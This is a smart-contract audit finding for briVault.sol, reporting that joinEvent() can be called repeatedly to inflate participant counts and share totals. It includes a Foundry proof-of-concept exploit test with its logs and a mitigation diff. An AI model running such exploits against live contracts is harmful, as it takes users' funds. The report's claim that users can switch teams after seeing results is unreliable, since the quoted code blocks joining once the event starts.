Root + Impact
Description
The joinEvent() function in briVault.sol lacks a mechanism to prevent users from calling it multiple times. This violates the protocol's stated requirement that "users should only join once" (protocolFlow.txt, line 31).
Each time a user calls joinEvent(), the function:
Overwrites their previously selected team in userToCountry[msg.sender]
Pushes their address again onto the usersAddress array
Increments numberOfParticipants
Adds their full share balance to totalParticipantShares again
This allows a malicious user to:
-
Switch teams after depositing, potentially after seeing early tournament results
-
Inflate numberOfParticipants by 5x, 10x, or more
-
Inflate totalParticipantShares by the same factor
-
Gain an unfair advantage by waiting to see which team is winning before committing
The inflated totalParticipantShares value is used in the withdraw() function to calculate payouts, causing all legitimate winners to receive diluted payouts.
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Note: There is no check to prevent msg.sender from calling this function multiple times.
Risk
Likelihood: High
The vulnerability is easily exploitable by any user who has deposited funds. The attack path is straightforward: simply call joinEvent() multiple times with different team IDs. No special timing, external contracts, or complex setup is required. The exploit was confirmed with a Proof of Concept that demonstrates 5x state inflation.
Impact: High
The attacker can:
Switch teams after seeing results: Wait until a winning team is apparent, then switch to that team
Dilute winner payouts: The inflated totalParticipantShares causes all winners to receive less than they should
Permanently corrupt state: The numberOfParticipants and totalParticipantShares become permanently inaccurate
Violate protocol requirements: Directly violates the stated requirement "users should only join once"
This results in direct fund loss for legitimate winners and breaks the fundamental fairness of the betting mechanism.
Proof of Concept
The exploit was confirmed using a Foundry test that demonstrates an attacker calling joinEvent() five times.
-
Setup:
-
Attack:
-
The attacker calls joinEvent() 5 times with different team IDs (0, 1, 2, 3, 4)
-
Each call successfully executes and updates the state
-
Result:
-
numberOfParticipants: 1 → 2 → 3 → 4 → 5 (5x inflation)
-
totalParticipantShares: 9.85e18 → 19.7e18 → 29.55e18 → 39.4e18 → 49.25e18 (5x inflation)
-
userToCountry[attacker]: "United States" → "Canada" → "Mexico" → "Argentina" → "Brazil" (team switching confirmed)
-
The attacker's actual share balance remains 9.85e18 (unchanged)
Supporting Code:
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract BriVaultExploits is Test {
BriVault public briVault;
MockERC20 public mockToken;
address public owner;
address public attacker;
uint256 public eventStartDate;
uint256 public eventEndDate;
function setUp() public {
owner = makeAddr("owner");
attacker = makeAddr("attacker");
mockToken = new MockERC20("Mock Token", "MTK");
eventStartDate = block.timestamp + 2 days;
eventEndDate = block.timestamp + 31 days;
vm.prank(owner);
briVault = new BriVault(
IERC20(address(mockToken)),
150,
eventStartDate,
makeAddr("feeAddress"),
0.0002 ether,
eventEndDate
);
mockToken.mint(attacker, 1000 ether);
}
function testExploit_MultipleJoinEventCalls() public {
console.log("\n=== EXPLOIT: Multiple joinEvent() Calls ===");
vm.startPrank(attacker);
mockToken.approve(address(briVault), 10 ether);
uint256 shares = briVault.deposit(10 ether, attacker);
console.log("Attacker deposited 10 ETH, received shares:", shares);
console.log("\n--- Calling joinEvent() 5 times for different teams ---");
for (uint256 i = 0; i < 5; i++) {
briVault.joinEvent(i);
console.log("After join", i + 1, "- numberOfParticipants:", briVault.numberOfParticipants());
console.log("After join", i + 1, "- totalParticipantShares:", briVault.totalParticipantShares());
}
vm.stopPrank();
console.log("\n--- Exploit Results ---");
console.log("Final numberOfParticipants:", briVault.numberOfParticipants());
console.log("Final totalParticipantShares:", briVault.totalParticipantShares());
console.log("Attacker's actual shares:", shares);
console.log("Share inflation factor:", 5);
assertEq(briVault.numberOfParticipants(), 5, "numberOfParticipants should be inflated to 5");
assertEq(briVault.totalParticipantShares(), shares * 5, "totalParticipantShares should be 5x inflated");
assertEq(briVault.userToCountry(attacker), "Brazil", "Attacker should be on team 4 (last joined)");
console.log("\n[+] EXPLOIT CONFIRMED: Multiple joinEvent() calls succeed");
console.log(" - Attacker can switch teams");
console.log(" - numberOfParticipants inflated 5x");
console.log(" - totalParticipantShares inflated 5x");
}
}
Test Results:
Test: testExploit_MultipleJoinEventCalls()
Status: PASS
Gas Used: 559,783
Logs:
=== EXPLOIT: Multiple joinEvent() Calls ===
Attacker deposited 10 ETH, received shares: 9850000000000000000
--- Calling joinEvent() 5 times for different teams ---
After join 1 - numberOfParticipants: 1
After join 1 - totalParticipantShares: 9850000000000000000
After join 2 - numberOfParticipants: 2
After join 2 - totalParticipantShares: 19700000000000000000
After join 3 - numberOfParticipants: 3
After join 3 - totalParticipantShares: 29550000000000000000
After join 4 - numberOfParticipants: 4
After join 4 - totalParticipantShares: 39400000000000000000
After join 5 - numberOfParticipants: 5
After join 5 - totalParticipantShares: 49250000000000000000
--- Exploit Results ---
Final numberOfParticipants: 5
Final totalParticipantShares: 49250000000000000000
Attacker's actual shares: 9850000000000000000
Share inflation factor: 5
[+] EXPLOIT CONFIRMED: Multiple joinEvent() calls succeed
- Attacker can switch teams
- numberOfParticipants inflated 5x
- totalParticipantShares inflated 5x
Recommended Mitigation
Add a mapping to track whether a user has already joined the event, and require that they have not joined before allowing them to join.
+ // Add a mapping to track joined users
+ mapping(address => bool) public hasJoined;
function joinEvent(uint256 countryId) public {
+ // Require that the user has not already joined
+ require(!hasJoined[msg.sender], "Already joined");
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
+ // Mark the user as having joined
+ hasJoined[msg.sender] = true;
emit joinedEvent(msg.sender, countryId);
}
This ensures that each user can only join the event once, as required by the protocol specification.